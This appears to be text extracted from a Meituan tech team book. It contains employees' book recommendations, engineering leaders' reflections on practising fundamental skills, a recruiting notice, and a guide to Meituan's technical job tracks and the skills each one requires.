原版，最近给孩子买的新一代漫画版又翻了翻。

美团是一家极其重视业界洞察和策略打法的公司。对于每一个 Leader 而言，一旦你
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理解了策略打法这个东西，当你再走出去的时候，你可能就会发现相较于业界很多同

行，你能看到更大的一片天空。所以每一位在美团工作的同学，都该静心、用心学习

公司的长处。

推荐理由：

这本管理书非常适合中层技术管理者学习，而且值得反复阅读。不仅是因为作者具有

强大职业背景，而是因为他有着工程师的背景和思维逻辑，加上特别平实的语言，将

其 20年的管理经验归纳出了“生产规律、管理杠杆率和激励员工”等方法，这对技

术 Leader“苦练管理基本功”有很强的指导意义！

推荐理由：

当我刚毕业时，我很想知道那些成功人士是如何管理时间的。在这本书里，或许你能

找到答案。而当我建立家庭，有了自己的孩子，就很想知道如何保持家庭与工作的平

衡。微软第三任CEO萨提亚·纳德拉在本书中，分享了很多他与家庭成员之间的关

系，以及在工作中如何做出正确的决策。

在这本书里，纳德拉讲述了很多微软关键节点的示例来帮助大家理解做决策的过程。
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在工作中如何赋能他人，如何激发热情，如何激发员工 120%的潜能。未来不可预

知，当人工智能时代将要到来的时候，如何应对挑战，在本书中，纳德拉也给出了自

己的思考。纳德拉在工作和生活中，都对他人抱有深深的同理心，这样使得他能够成

为一个充满激情、富有使命并极具感染力的人。其实这本书更像是作者的自传，常读

常新。

推荐理由：

《关键时刻MOT》的作者是北欧航空公司前CEO	詹·卡尔森，本书结合他在航空

工作中的具体事例，揭示了以客户为导向的经营真谛。客户是市场中最根本、最积

极、最活跃的因素，以客户为导向，其实就是以市场为导向。抓住了客户，就占据了

市场；顺应了客户，就适应了市场；发展了客户，就开拓了市场。客户既是企业生存

之基，也是企业生长之源。任何时候，当一名顾客和一项商业的任何一个层面发生联

系，无论多么微小，都是一个形成印象的机会。口碑的建立需要大家长期努力，但一

个小小的疏忽就可能将它毁灭。

詹·卡尔森在本书中列出的关键时刻十大原则，揭示了企业经营要方。作为一个企业

领导人，创建使企业员工人人都能充分施展聪明才智的环境和平台，才是企业健康发

展的根本内涵。一个人之所以被任命为领导，并不是因为他无所不知，或者有能力制

定所有的决策，而是因为他懂得汇集众人的智慧，并为完成工作创造条件。领导者就

是创造条件使工作得以推进的人。另外，领导者还必须在很多方面扮演“启蒙导师”

的角色，自觉自愿地将公司愿景与目标散播到每一个角落。建议该书可以跟《领导梯

队》一起结合看。
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推荐理由：

不少技术管理者包括自己在内，管理技能更多来自于个人实践，缺乏系统性、规范

性。这本书系统地从工作理念、时间管理、工作技能方面为各个层级的同学发展提供

了指导，相信对个人的成长和发展都会有很大的帮助。

推荐理由：

这本书让我明白了经济学到底是干什么的，也让我从另一个角度去看待这个世界的

70亿人每天忙忙碌碌的到底都在干什么，让我明白了自己应该追求什么。

这并不是一本工具书，读这本书并不能立即使我们的工作效率发生改变，读这本书可

能更容易帮助塑造或升级我们的思维范式，正如《科学革命的结构》所说，“范式改

变了，整个世界也就改变了”。这本书对我们的影响是潜移默化的，影响我们看待世

界的角度和理解世界的方式，真正影响的是我们未来的每一次决策，而决策影响了最

终的结果。
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哲学历史类：8 本

推荐理由：

《光荣与梦想》是美国的一部社会纪实作品，作者勾画了从 1932 年罗斯福总统上台

前后，到 1972 年尼克松总统任期内水门事件的四十年间美国政治、经济、文化，

以及社会生活的全景式画卷。在当前大家对疫情有较悲观的判断情况下，可以参考

一下书里面详细的描写大萧条时期的景象，相信会对“经济危机”有一个较为深刻

的认识。

推荐理由：

这本书推荐给喜欢历史的同学。历史是人物组成的，人物是故事串联的，通过一个个

人物的讲述，让历史更立体、更有趣。

这本书用 300 个人物讲述 38年的民国历史，波澜壮阔，史有余音。既不是三皇五帝

神圣事，也不是朱李石刘郭梁唐晋汉周。说到“民国”，我们最先能想到的是什么？

是军阀混战和外敌入侵，导致的山河国破；还是大师辈出，在各自的领域叱咤风云；

抑或是那些红尘儿女，上演的爱恨情长。每个文明的更替时期，一则英雄辈出，二则
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哀鸿遍野。与激烈动荡的春秋魏晋相比，民国莫不如此。这里有非常大总统，有蒋宋

孔陈“四大家族”，有C.C. 派 / 宪政派 / 中统军统，还有南苑、铁狮子胡同等身边地

名，加上滕老总的诙谐讲述，非常精彩！

推荐理由：

从古希腊罗马文化、基督教教义、日耳曼战士文化等角度，梳理了多种混合起源汇

聚而成的欧洲文明脉络。本书中文译文非常流畅自然，将我脑海中的历史课本、传

奇电影、宗教等零散的认知串连了起来。对历史的偶然与必然，也有了更加清晰的

认知。历史是一面镜子，读完本书后，我对欧盟、英国乃至整个西方的历史，有着

一些独立的判断。建议大家利用通勤等碎片化时间来进行阅读，相信一定会给你带

来很大的收获。

推荐理由：

亚里士多德的世界观认为地球位于宇宙中心，是静止的，这个观点一直维持了 1900

年左右，直到被牛顿世界观颠覆和取代，而近代相对论和量子力学的快速发展，正在

对牛顿世界观发起挑战。对于一个科学理论来说，不管有多少可以证明其正确性的证
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据，这个理论是错误的可能性始终存在。我们只有不断摸索、验证，一步步、一次次

向未知领域发起挑战，才能揭开那一道道蒙住双眼的黑纱，让人类的文明不断的升

级、迭代。

推荐理由：

在近一年，很多时候会因为工作，想去追求完美的结果，想尽快的达到技术层次的那

个点，反而感觉到很焦虑、很烦躁、很心慌，仿佛自己使劲了全身的力气，而不可

得，心力交瘁，惶惶不安。

一次偶然的机会，看到《当下的力量》这本书，从中学到了很多，为我打开了生命另

一窗的解读。佛家追求禅，道家追求道。我们每个人生活在这个世界，我们真正追求

的是什么？这个问题，可能很多人会思虑良久，或者很多人终其一生也不会去想。

《当下的力量》这本书的作者经历了人生的很多痛苦阶段，最后“开悟”，所以写了这

本书，作者希望能够帮助更多的人从恐惧焦虑这些负面情绪的“小我”中“开悟”出

来。当我们作为一个旁边者去看我们的大脑，我们可以看到，有工作的片段，有家庭

的片段，有明天的计划，也有昨天的故事，更有千头万绪的思维。而我们将注意力集

中在当下的此时此刻，如果能够将脑海里面的“万念”变成关注当下的“一念”时，

我们就能够得到内心的平静和喜悦。

不相信的话，那就闭上眼睛，清空自己的大脑，去听、去闻、去感受。你得到了什

么？我听到了激扬的音乐，闻到了春天的味道，感受到了暖暖的阳光。当下的这一

刻，我感觉自己已经拥有了很多，我是幸福的，美满的。我们的情绪来源，往往源于

过去的事情和对未来的渴望。但过去的已经过去，无法改变，要学会放下。当下的每
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一刻都在变成过去的每一刻。过好当下的每一刻，就是给予美好的回忆。未来还没有

到来，未来的每一刻，在当下已经到来。未来的所有，是当下的每一刻积累而达。或

许，这也是对美团价值观“长期有耐心”的另一种解读。

推荐理由：

掌握规律、运用规律是战胜各种问题的制胜法宝，以史为鉴能让我们更加从容的面对

挑战，转为危机。肺炎疫情的出现对全球社会都是一次很大的冲击和重构，在人类历

史上的数次危机之下，各大洲区域国家也有着不同的变迁。从这本书里可以看到一些

历史发展的规律，不仅是能够让我们更多地了解过往世界运转的逻辑，同时对未来的

不确定性也有会更多的预见和理解。

推荐理由：

这本书简单点来说就是明朝王阳明的言论集，从思想贡献和功绩综合来评判，中国五

千年历史长河中，能跟他PK的，除了孔圣人之外，可能就只有晚清的曾国藩了。

当然对我们大部分人来说，都不敢奢求这么高的成就。事实上，任何人都不可能通过

照搬别人的理论取得多大成就。本书对我们的意义，更多是只要合理坚信和笃行，怀
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着一颗纯粹的心去面对一切，那么无论遇到什么波浪，人生的终点终究不会太差。总

的来说，《传习录》对大部分人来说，不可能是乘风破浪的“神器”，但一定可以作为

起伏人生的“稳定器”，在当前飞速变化的世界中给内心补充那一点宝贵的确定性。

推荐理由：

我是从去年才开始接触和学习心理学相关知识的，最开始读的是《态度改变与社会影

响》，但是因为没有学习过心理学的基础学科，读起来还是比较费劲的，尤其是当书

中引用不同时期的心理学家观点时，一些专业术语是很难理解的。

为了能更好地理解整个心理学学科的发展历程和一些专业术语的来源，我找到了这本

《西方心理学史》。这本书很系统地讲述了心理学各个理论分支的起源和发展历程，读

完之后再有选择地选取感兴趣的理论分支书籍来阅读，不仅能更好地理解书中的理

论，更重要的是可以更客观地看待书中的观点。

其实，任何一门学科都离不开其历史知识。“任何一门学科的学习者和研究者都要正

视、尊重、深思其学科的历史，而不能轻视、阉割、曲解其学科的历史。”有了这个

基本的认知，以后不管是阅读哪一类学科的书籍，先去了解学科的历史背景，就能够

让我们更客观地理解和吸收各个学科中的精华。
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人物传记类：3 本

推荐理由：

在逆境和困难中寻找机会，灰度决策。在处理国内外的各种矛盾时，凸显智慧。邓爷

爷的处世之道，还有他老人家对历史大势的把握，非常值得我辈中人借鉴学习。

推荐理由：

本书出自伟大的科学家阿尔伯特·爱因斯坦，有幸在疫情期间与之相遇，与其说是影

响，不如说是共鸣，书中有这么一段话：“一直以来，对真、善、美的追求照亮了我的

道路，不断给我勇气，让我欣然面对人生。如果没有志同道合的友情，如果不专注于

探索客观世界，那个在艺术和科学研究领域永不可及的世界的话，生命对我而言就毫

无意义。”生命的意义是一个值得思考的问题，在这个基础之上，如果能有志同道合

的朋友“幸甚至哉”。
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推荐理由：

曾国藩用一生捍卫、守护了自己珍视的文化和信仰，他死在了“补天填海”的路上。

曾国藩用自己的一生，证明了人的意志力所能达到的高度。同时，也证明了一个人意志

力的局限。他无望地努力在人类精神征途上，树起了一座令人不得不肃然起敬的丰碑。

“曾国藩先生”对我辈的人生有巨大的借鉴意义，从一个名不见经传，没有家庭背景

的人到成为清代名丞，他身上有太多值得学习的智慧。先生从资质平平到最后超凡入

圣，可以说真正做到了古往今来“自律第一人”。任何时候都要进行自我反省，有清

晰的自我认知。立功，立德，立言，先生他都做到了。

如果你想看更多书单的话，那就赶快加入美团技术团队吧，美团有一个藏书过万的

“P2P”图书馆！

	 美团图书馆

	 美团图书馆藏 13000 多册纸质书，306 本电子书，并有O’Reilly	Safari 英文

电子书库（四万多计算机技术和管理图书！）、ACM	Library、知网、极客时间

等多种电子资源，为了打造大家身边的移动P2P图书馆，除了 37个分馆分布

在全国各大办公区，还有个人贡献的热门书籍在工位供随时借阅。期待优秀的

你加入，一起学习成长。

但读完书，并不意味着我们的“任务”结束。下一步，我们需要应用书中的知识。美

团联合创始人兼CTO王慧文在一次内部分享中提到：“读书，要做到知行合一。你相

信读书的作用是一回事，你相信书里面讲的道理去执行是另外一回事。”

最后，希望每一位同学都能坚持读书并学以致用，这样才能成为更好的自己。
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工程师的基本功是什么？该如何练习？听听美团技
术大咖怎么说

作者：美团技术学院

在美团有一句老话，叫做“苦练基本功”。美团创始人王兴解读的基本功是业务和管

理的基本动作。只要能把基本功扎实练好，就能产生巨大价值。然而滴水石穿非一日

之功，练好基本功是一个长期的事情。

苦练基本功，我们要调整好心态面对长期的挑战，同时在重复工作中得到自我提升，

将简单的事情做到更好，将我们的能力提高一大截。

那么对于技术团队来说，专业基本功是什么？又该如何练习呢？一起听听美团技术大

咖是如何理解技术基本功的吧……

技术基本功存在于每一行代码中

@ 美团金融技术负责人

“好”	的程序员和	“差”	的程序员，一般来讲都可以实现同样的需求。但是，他们写出

来的程序在效率、质量、可维护性、可读性、可扩展性等维度可能存非常明显的差

别，这种差别很大程度上取决于他们的技术基本功。	技术基本功存在于每一个项目、

每一个代码文件、每一行代码中，是需要技术同学持续积累、持续锻炼的。	如何练好

技术基本功？我认为最关键的是要不满足于仅搞定当下的需求，还要不断对自己提出

更高的要求——Bug 能否更少？以前趟过的坑是否可以避免？能否满足未来变化的需

求？是否可以做到代码即文档？只有不断提高标准，持续地实践，才能不断打磨好基

本功，让自己变得更加优秀。
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把基础技能练扎实，就能形成肌肉记忆

@ 美团平台技术负责人

技术基本功就是我们在从事技术工作过程中最基础的技能。把基础技能练扎实，就能

形成肌肉记忆，收获的不仅是工作交付的质量变得更高，更重要的是工作也会变得更

高效。只有这样，我们才可能有更多的时间和精力学习更高的技能，负责更复杂、更

重要的工作。	我认为的技术基本功，应该包括计算机技术基础知识、编程规范与原

则、设计模式、单元测试等等。而技术基本功的特征是那些最通用、最泛用的基础技

能，不受具体业务或问题的束缚，不受技术角色与水平的束缚，也不受实现路径与方

法的束缚。	如何练好呢？一是学习行业标准的基础技能，不断提升自己的认知；二是

经年累月的大量实践；三是经常总结复盘，Review 自己过去的工作，不断找到待提

升点。

基本功易学难精，并具备持续的可提升性

@ 美团快驴技术负责人

一万小时定律说：“人们眼中的天才之所以卓越非凡，并非天资超人一等，而是付出

了持续不断的努力。1万小时的锤炼，是任何人从平凡变成世界级大师的必要条件”。

对技术同学来说更是如此。

基本功是基础的知识和技能，易学难精，并具备持续的可提升性，反复训练提升后才

能发挥巨大的价值。建议大家能够保持好奇心，坚持深度思考，脚踏实地，追求卓

越，长期有耐心。

练习基本功没有捷径

@ 美团到店餐饮技术负责人

技术基本功决定了公司整体的技术水平，也是区别工程师段位的重要特征。对工程

师而言，设计、编码、定位 Bug 是三项重要的基本功。技术基本功不易衡量和考
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核，它的提升更多源于工程师内心的技术理想以及把技术工作做到极致的态度。

练习基本功也没有捷径，需要务实的心态、严谨的逻辑。当然，每一次设计、编码

和 Bug 定位都是提升技术基本功的机会。此外，阶段性复盘对工作的持续提升也有

帮助。

用最高的工作标准牵引基本功的锻炼

@ 美团交通技术负责人

技术基本功，应该是工程师日常工作中高频发生的动作，比如做设计、写代码、

Code	Review、问题排查等等，是每一个工程师都必须掌握并且可锻炼提升的一些

基本能力。只有基本功动作过硬，才能赢得团队信任，才能持续攻下山头，最终拿到

业务结果，实现个人的成长。	在训练方法上，我认为重要的一点是坚持在日常工作

中「追求卓越」，用最高的工作标准牵引基本功的锻炼，然后通过基本功提升来支撑

更高的交付标准。希望大家能够认识到技术基本功的重要性，提高苦练技术基本功的

意识，并在日常工作中对其反复锻炼和提升。

写在后面

除了技术大咖的分享之外，我们也为大家准备了美团技术团队工程师此前写的两篇成

长心法。

第一篇是《工程师如何在工作中提升自己 ?》，古人云：“活到老，学到老。”互联网

技术日新月异，很多工程师都疲于应付，叫苦不堪。如何在繁忙的工作中做好技术积

累，构建个人核心竞争力，相信是很多工程师同行都在思考的问题：

https://tech.meituan.com/2018/04/16/study-vs-work.html
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	● 文章的第一部分阐述了一些学习的原则。任何时候，遵循一些经过检验的原

则，这些都是影响效率的重要因素，正确的方法是成功的秘诀。

	● 提升工作和学习效率的另一个重要因素是释惑和良好心态。第二部分分析了作

者在工作中碰到和看到的一些典型困惑。

	● 成为优秀的架构师是大部分初中级工程师的阶段性目标。第三部分剖析架构师

的能力模型，让大家对目标所需能力有一个比较清晰的认知。

第二篇是《写给工程师的十条精进原则》，作者分享了自己用 8年的时间从一个职场

小白逐步成长为一名技术 Leader 的经验。

很多技术同学工作中并不是不努力，但收效甚微，到底是哪里出了问题呢？经过一段

时间的观察与思考后，作者总结了很重要的一项原因：大多数同学在工作中缺乏原则

的指导。原则，犹如指引行动的“灯塔”，它连接着我们的价值观与行动。

桥水基金创始人雷·达里奥在《原则》一书中写道，我们每个人都应该有自己的原

则，当我们需要作出选择时，一定要坚持以原则为中心。这篇文章总结了十条工程师

的精进原则：

	● 原则一：Owner 意识

	● 原则二：时间观念

	● 原则三：以终为始

	● 原则四：闭环思维

	● 原则五：保持敬畏

	● 原则六：事不过二

	● 原则七：设计优先

	● 原则八：产出 / 产能平衡

	● 原则九：善于提问

	● 原则十：空杯心态

以上这些原则有的侧重于个人做事情的方法，比如“Owner 意识”、“时间观念”、

https://tech.meituan.com/2018/08/16/10-principles-for-engineers.html


工程师文化　<　313

“以终为始”、”闭环思维”等等；有的侧重于团队工作标准规范，如“保持敬畏”、

“事不过二”、“设计优先”等等；有的侧重于团队或个人效能提升，如“产出与产能

平衡”、“善于提问”、“空杯心态”等等。这些原则也是作者多年在工作与学习中，不

断总结得来的经验。希望对大家的进阶成长能够有所帮助。

招聘信息
美团技术运营团队纳新啦！这是一个温馨有爱且非常重视学习和成长的小团队，做的事情有意

思也很有挑战。加入我们的话，你可以跟美团近万名优秀工程师同学打交道，你能够接触到很

多前沿的技术、思想，还能近距离接触很多业界的技术牛人……

期待优秀的你加入我们，欢迎大家自荐或者推荐 ~	~

岗位职责
1.	 根据公司战略方向，规划公司内外支持研发团队的运营项目，包括内容产出、线上线下活动

策划组织等。

2.	 有效拓展、运营、维护传播渠道，建立完善的合作、传播机制和体系。

3.	 独立负责项目的实施，通过与项目相关方沟通获取必备资源，通过数据分析评估各类运营动

作的效果。

4.	 有效整合各方资源，促进公司内部研发团队的分享交流，提升研发团队对外的技术影响力。

任职要求
1.	 喜欢和研发同学打交道，了解他们的喜怒哀乐。

2.	 本科及以上学历，3年以上运营工作经验。

3.	 思路清晰，注重细节，具备较好的数据分析和时间管理能力。

4.	 有责任感，聪明并热爱学习，自信开朗。

5.	 优秀的文字功底和表达能力，一定的活动 / 会议 / 展览组织、执行能力，有产品或用户运营、

项目管理、市场文案及编辑记者经验者优先。

感兴趣的同学可投递简历至：tech@meituan.com（邮件标题注明：技术运营）
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想进美团不知道选哪个技术岗位？这里有一份通关秘籍！

作者：王鹏

春暖花开，美团春招已经启动，针对校招和社招开放了几千个职位，其中很大部分都

是技术岗位。

随着互联网的高速发展，技术岗位在不断地细分，比如软件开发不仅分为前端和后

端，前端会分为Web、iOS和 Android 三个方向，后端又分为后台、系统、数据等。

现在异常火爆的AI 方向更是让人「眼花缭乱」，深度学习、数据挖掘、NLP、人脸识

别、知识图谱等等。那么，我们应该如何更好地选择适合自己的技术岗位呢？

今天我们就逐一介绍各个技术岗位的区别以及对应的岗位要求，然后再解读一下美团

面试官会考核的基本能力和软素质，最后我们还附上了来自美团学长学姐的建议，希

望这份「通关秘籍」能帮助大家对号入座，找到自己理想的工作。
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一、美团技术团队分哪些专业方向？

经过多年耕耘和沉淀，美团技术团队已经建成了比较完备的技术体系，有基于主流开

源技术加自研的大数据、基础架构、复杂业务系统平台，以及比较完备的运维、安

全、风控系统。目前，美团技术团队主要分成前端、后台、系统、数据、测试、运

维、算法等技术方向（内部称为通道），每个方向下面又可能包括几种岗位。

特别要提醒大家注意的是，各个方向和岗位的竞争激烈程度每年是不一样的。今年的

推荐算法和嵌入式系统、计算机视觉竞争比较激烈，而前端尤其是移动客户端开发、

测试、硬件、安全、数据领域则相对平和。以下是 2020 年春季美团技术团队部分岗

位（实习生）的投递录用比（已经收到的简历数：拟招聘的岗位数），供大家参考：
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前端开发工程师

前端也称为大前端，分为Web前端和终端两大方向。作为连接用户和企业的技术工

种，前端涉及的领域越来越广泛，已经不再局限于桌面、手机等环境。在目前大前端

融合、5G的趋势下，想象空间越来越大，给前端工程师带来广阔的成长发展前景。

选择前端的 7 大理由：

	● 前端是最接近用户的技术团队，能够第一时间了解用户的需求，是那些对用户

体验、交互感兴趣的同学的最佳选择。

	● 前端是最容易成为全栈工程师及技术「多面手」的岗位。前端能快速实现原型、

快速给用户推出新产品或者新的用户体验，很容易获得职业层面的成就感。

	● 前端技术发展迅速，这里特别欢迎有创造力、有想法的同学，技术栈广，有众

多的岗位选择和发展空间。

	● 前端是美团技术团队中交流最广泛、交流渠道最多、交流氛围最好的团队，在

这里你能够认识足够多的技术大牛，也提供足够大的舞台让有想法的同学去展

现自己的风采。

	● 相比有些学习曲线比较陡峭的技术岗位，前端的学习成长曲线相对平滑。因为

绝大多数高校都不开设前端开发的相关课程，而且前端技术还在不断发展和更

迭，前端开发领域对所有的新入门同学都比较友好，这是一片蓝海，等待有梦

想的你去不断开拓。

	● 前端是代码和视觉的结合，是技术和艺术的交融，前端能带给用户最简单直

接、最炫酷的视觉享受和用户体验。

	● 前端开发是目前互联网领域最炙手可热的技术方向之一，各个公司都高薪争夺

前端领域的技术人才，未来可期。

Web 前端

	 对应岗位名称：前端开发，Web前端开发。
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美团对前端工程师候选人重点考核的专业知识及专业技能

1.	专业背景：专业技能主要覆盖计算机专业的基础课程，包括数据结构、计算机

组成原理、计算机网络、操作系统、数据库、软件工程、C++ 或 Java 编程

语言等。此外，现在前端对算法的要求越来越高，在算法方面理解深刻的同

学，会有加分。

2.	专业知识：扎实的 6项基础知识：HTML、CSS、JavaScript、移动Web开

发、调试、HTTP网络知识。

3.	技术能力：前端工程能力，构建和持续集成。特别是Coding 能力，能够准确

地理解需求，并快速实现高质量的代码。

4.	加分项：掌握Web安全基础知识、浏览器组成及原理方面的基础知识，熟练

使用常用的前端框架（React/Vue 等）并对其原理有一定的认识。

终端

	 对应岗位名称：iOS开发，Android 开发，移动端开发，客户端开发。

目前，终端也称移动端、客户端，主要按两大平台分为 Android 开发和 iOS 开发。

这个方向的优点是对同学们的经验要求较少，只要有较好的编程基础和比较扎实的计

算机基础知识，都欢迎加入。

Android 开发工程师

在过去十年中，Android 已经成为和 iOS 并驾齐驱的移动开放平台。未来十年，

Android 必将在万物互联的生态中占据更加重要的位置，未来可期。虽然「移动端」

的概念被提及的次数越来减少，但目前手机的应用市场中每天仍有几百万量级的App

在活跃，而这都需要移动端工程师去开发完成。

此外，App 是企业和用户交互的桥梁，直接影响用户体验以及用户对公司品牌的感

受，其重要性不言而喻。在美团Android 开发团队，你写的代码可以影响到数亿用

户，你可以把一个个创新的想法，在亲人和朋友的手机上变成实实在在、可以看得见
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摸得着的界面，相信这一定会让你收获满满的成就感。

美团对 Android 工程师候选人重点考核的专业知识及专业技能

1.	专业背景：了解计算机基础知识，包括计算机原理、操作系统、网络、算法等；

2.	技术知识：重点强调 Java，其次是C/C++ 和数据结构，这些是最基本的要

求，然后是Android 开发的基础知识；

3.	编码能力：具备一定的编码能力，包括边界条件、编码风格等。

iOS 开发工程师

如果你希望自己的工作成果被亿万人直接使用，那么就来做客户端吧！如果你觉得

iPhone 真香，那么就来做 iOS开发工程师吧！在这里，你可以感受技术与体验的完

美结合，在成就用户的同时成就自己。在美团，iOS工程师有着明确的培养路径，美

团技术学院提供了丰富的技术文档和课程来帮助大家成长。值得一提的是，校招候选

人不要求有 iOS开发经验，只要具备良好的CS基础便可以。加入美团，我们会帮

你快速成长为一名优秀的 iOS工程师。

在美团技术团队，iOS工程师主要责任就是打造美团和大众点评等超级App，为它

「添砖加瓦」。我们追求更高的代码质量，让Bug 远离用户；我们追求更高的编程效

率，可以让新功能更快地交付给用户。当然，在做完业务需求之余，你可以投身研究

一些OC语言的特性、App 的性能优化、Hybrid 技术等等。你也可以探索一些工程

层面的奥义，比如组件化、平台化、插件化、动态化、自动化，任君遨游。

目前，大家纷纷涌向人工智能、机器学习、图像识别等比较热门的技术领域，千军万

马挤独木桥，其难度可想而知。殊不知 iOS领域因近些年人才过度稀缺，市场发展前

景非常好。更重要的是，当你成为一名 iOS工程师以后，你将常年接触 iOS与Mac

系统，杜绝工作环境中的脏、乱、差，体验优雅、高效、丝滑的开发流程，这也将直

接影响到你的生活习惯，让你变成一个有追求、有审美、有品位的「攻城狮」。
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美团对 iOS 工程师候选人重点考核的专业知识及专业技能

1.	专业背景：了解计算机基础知识，包括计算机原理、操作系统、网络等，这是

客户端开发的通用技能；

2.	技术能力：基本数据结构与算法，Coding 能力；

3.	加分项：对OC语言特性能够熟练掌握，了解跨端技术，有一定的技术广度。

技术细节请参考美团前端方向的技术文章：

	● Flutter 的原理及美团的实践

	● React	Native 在美团外卖客户端的实践

	● 深入剖析Swift 性能优化

	● 美团点评金融平台Web前端技术体系

	● Android	兼容	Java	8	语法特性的原理分析

后台 / 系统开发工程师

	 对应岗位名称：Java 开发，后端开发，系统开发，服务端开发。

后端在美团又分为后台和系统两个方向。这是最体现以互联网技术改造实体经济的

方向。

后台方向总体偏 to	C（消费者）的产品系统及其依赖的基础平台的研发，包括但不限

于：Web	API、商品 / 库存 / 价格系统、交易系统、促销引擎、支付系统、评价系统、

存储系统、消息队列、OCTO、计算平台、检索架构等等。比如我们每一次点外卖时

的交易履约都是由后台系统来提供服务的。

后台方向承担了美团基础架构以及各条业务线工程系统的建设，为美团的业务提供了

云端保障，包括功能开发、平台建设、基础架构升级等工作，在巨大流量下，为用户

提供高性能、高扩展、高并发、高可用、高效率的服务，支撑美团各业务提升运营效

率、决策效率，提供良好的用户和商家体验。后台通道也是美团内部最大的一个技术

通道。

https://tech.meituan.com/2018/08/09/waimai-flutter-practice.html
https://tech.meituan.com/2019/12/19/meituan-mrn-practice.html
https://tech.meituan.com/2018/11/01/swift-compile-performance-optimization.html
https://tech.meituan.com/2018/03/16/front-end-web-architecture.html
https://tech.meituan.com/2019/10/17/android-java-8.html
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系统方向偏商户端和公司内部的核心系统的研发，通过技术手段不断提升供给侧效

率，降低成本，提升用户体验，促进业务目标达成。随着业务在不断发展变化，美团

的新业务在不断涌现，系统方向面临着更复杂、更新鲜的业务场景，也有更多的业务

挑战等待着你来解决。

加入美团系统通道，你能够接触线上线下复杂业务，并通过技术手段为业务赋能，进

而快速成长为一名懂业务的技术专家。对业务的深刻理解和实践经验会让你身价翻

倍，在未来长期的职业发展上有更多选择。美团系统通道牛人多，学习机会多，个人

成长快，可以帮你全方位进行提升。值得一提的是，系统通道的成长路径后半段是比

较广阔的，离业务更近，能更好地理解公司的商业模式。对于那些有野心的、未来想

去创业的同学来说，系统通道是比较合适的方向。

选择后台方向的 5 大理由：

	● 互联网已经从「黄金时代」走到「青铜时代」，精细化运营对面向用户的后台

业务系统提出更高的要求，业务场景复杂多变，后台 / 系统开发工程师面临更

大的挑战，且招聘需求量也非常大。

	● 后台 / 系统是支持业务最核心的一环，技术体系广且深，对特别优秀的候选人

来说，未来可以选择做业务，也可以选择做技术。发展空间几乎没有上限，只

要你足够努力。

	● 在美团后台 / 系统通道，行业大牛众多，直接解决复杂业务系统架构设计，面

向全社会的用户和商家，可以参与最前沿技术的研究与实践。

	● 美团后台 / 系统通道采用导师制，一对一培养。能帮助候选人提升分布式架构

设计能力，在丰富的一线实践中，快速成长为优秀的互联网后台开发者。

	● 喜欢逻辑实现，喜欢高并发、高可用、高性能业务场景技术挑战同学比较适合

选择后台 / 系统通道。

这里是亿级用户规模的平台，这里有持续快速增长的业务，而后台 / 系统工程师能够

负责驱动并引领业务的发展，这就是我们的价值。期待优秀的你加入我们！
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美团对系统 / 后台开发工程师候选人重点考核的专业知识及专业技能

	● 计算机基础扎实，熟悉计算机相关的知识包括数据结构、算法、操作系统、计

算机网络、面向对象编程、设计模式、多线程等等。

	● Coding 能力，掌握至少一门开发语言（Java/C++ 等）。

	● 了解常见的后台 / 系统开发技术，最好阅读过一些项目的源码。

技术细节请参考美团后台 / 系统方向的技术文章：

	● 字节码增强技术探索

	● 不可不说的 Java“锁”事

	● 领域驱动设计在互联网业务开发中的实践

	● 美团容器平台架构及容器技术实践

	● 高可用性系统在大众点评的实践与经验

数据开发工程师

	 对应岗位名称：数据开发，数据仓库工程师，大数据工程师。

小数字成就小人生，大数据创造大未来。数据是 DT 时代的「石油」已经成为业内

共识。数据技术是企业业务发展的根基，小到一个功能模块的设计优化、产品精细

化运营、用户精准化营销，中到 C端千人千面的产品体验、B端数字化赋能，大到

公司战略定制和决策、创新业务人工智能的突破，数据的应用已经是面面俱到。而

且大数据已经成为各个公司的基础设施，伴随着 AI 技术浪潮的到来，大数据也会变

得越发重要。

数据通道主要涵盖两大技术方向，一个是数据研发方向，涵盖面向数据资产的数据清

洗、加工、整合、挖掘、管理、运营等技术领域，主要包括批处理和实时数据仓库的

建设、数据管理、数据价值落地的同学，以及做数据运营的同学。另一个是数据系统

研发方向，涵盖批处理、实时数仓开发工具链、BI 系统、数据管理系统等数据系统研

发同学。数据开发通道希望通过数仓建设、数据系统建设，来提升公司数据质量、数

据效率、数据安全，以数据驱动的方式帮助美团完成业务目标，持续提高公司的运营

https://tech.meituan.com/2019/09/05/java-bytecode-enhancement.html
https://tech.meituan.com/2018/11/15/java-lock.html
https://tech.meituan.com/2017/12/22/ddd-in-practice.html
https://tech.meituan.com/2018/11/15/docker-architecture-and-evolution-practice.html
https://tech.meituan.com/2016/02/04/high-availability-systems-dianping.html
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效率和核心竞争力。

美团数据通道负责上游系统数据的集成、建模、应用数据和系统的研发，支持和赋

能业务、商分和产研等部门在业务运营、管理、策略迭代方面的决策。数据不是单

纯的数字，我们已经通过对数据进行集成、处理、分析和管理，逐步将数据打造成

为美团最为重要的资产。此外，数据通道还为美团提供基于大数据体系的基础数据

平台、数仓平台和商业分析平台，为美团的数字化运营提供了提供高质量、高效率

的数据服务。

选择美团数据通道的 5 大理由：

	● 数据是一个非常综合的领域，同学们将有机会得到多种技能的训练和培养。数

据通道同学可以选择大数据平台搭建、数据资产构建、数据分析、数据挖掘和

数据服务化等不同方向，可学习的开发技能包括系统开发技能、数据建模技

能、数据应用开发技能等不同方面。在美团，数据人才的发展会有更多的可

能性。

	● 数据是与业务贴近程度最高的技术门类之一，同学们在为业务提供数据解决方

案的过程中，将会得到商业思维和业务管理能力的训练。

	● 数据相关技术和技能「浩如烟海」，非常适合对技术追求长期有耐心的同学。

而且任何行业和领域的工作都需要数据能力的直接支撑。未来数据人才培养难

度较高，市场需求也非常旺盛。

	● 美团拥有本地生活领域海量的数据资源、丰富的数据应用场景以及极具挑战性

的工作。在美团数据通道，你将有机会参与到PB级数据项目实践，参与业界

一流的分析平台建设，应用到业界最先进的技术和知识，接触到吃喝玩乐住行

的全链条数据。

	● 美团的数据体系属于国内顶尖级别，数据通道通过精准、专业的组织建设，为

公司的数据开发者带来归属感，提供了专业学习交流机制以及职业晋升指导和

渠道。特别是对校招生来说，美团还为大家提供贴心的技术学习和职业发展指

导，能够帮助大家迅速成长为一名合格的大数据专业人才。
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美团对数据开发工程师候选人重点考核的专业知识及专业技能

	● 计算机基础以及大数据通用技术的底层原理，包括数据结构与算法、操作系

统、计算机网络、数据库原理、统计分析与概率、数学分析以及 SQL 语言

等等；

	● Coding 的能力，掌握至少一门编程语言（Java/Python/C 等）；

	● 加分项：有一定的数据逻辑能力，对大数据开源框架有认知，了解分布式计算、

消息队列、KV存储等等，了解数据挖掘与机器学习基本理论和方法。

